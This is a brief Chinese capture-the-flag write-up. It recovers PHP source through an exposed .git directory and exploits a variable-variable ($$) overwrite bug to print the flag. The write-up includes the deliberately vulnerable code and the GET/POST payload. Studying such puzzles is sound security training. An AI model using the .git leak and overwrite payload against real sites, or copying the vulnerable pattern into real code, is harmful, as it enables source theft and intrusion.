0x00 知識點
GitHack讀取源碼
$$會導致變量覆蓋漏洞
0x01解題
dirsearch掃描一下,發現/.git目錄,用githack獲取一下源碼。
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式傳flag只能傳一個flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必須傳flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST傳flag,必須不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
分析一下代碼邏輯
forsearch:
post傳參和get傳參的參數鍵名和值
首先我們post:$flag=flag
foreach($_POST as $x => $y){
$$x = $y;
}
簡單好理解一點,我們直接帶入第一行后再比較第二行
這樣就變成了$$flag = flag
接下來GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
$x為yds,$y為flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
看源碼
只要沒有flag參數,就會exit($yds),就可以得到flag了。
payload:
GET:yds=flag
POST:$flag=flag